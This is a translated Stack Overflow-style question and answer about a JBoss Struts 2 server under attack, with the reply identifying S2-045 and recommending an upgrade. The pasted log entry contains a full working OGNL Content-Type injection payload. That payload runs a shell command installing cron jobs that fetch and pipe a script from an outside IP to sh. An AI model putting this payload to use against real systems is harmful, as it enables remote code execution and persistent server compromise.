我们有一个 J2EE Struts 2 应用程序。
最近我们看到一些入侵正在侵入我们在端口 80 上运行的应用程序。Jboss(版本 4.2.0)错误日志给出了以下内容:
the request doesn't contain a multipart/form-data or multipart/form-data stream, content type header is %{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='echo "15 * * * * wget -O - -q http://91.230.47.41/res/logo.jpg|sh\n50 * * * * curl http://91.230.47.41/res/logo.jpg|sh" | crontab -').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
他们正在将一些 .exe 文件注入(inject) Jboss bin 文件夹中,并尝试中断应用程序和服务器。那里已经安装了一些防病毒软件。但这并没有停止。考虑如何阻止他们使用应用程序。
任何好主意都会有帮助。
最佳答案
您已通过 S2-045 受到攻击严重的安全问题。
解决您的问题的最简单方法是立即升级到 2.3.32 或 2.5.10.1
(前者几乎需要零重构,后者需要快速迁移,如 Struts 2.3 to 2.5 Migration Guide 中所述。
始终保持最新状态。
关于java - JBOSS Struts 2 应用程序入侵,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/43653568/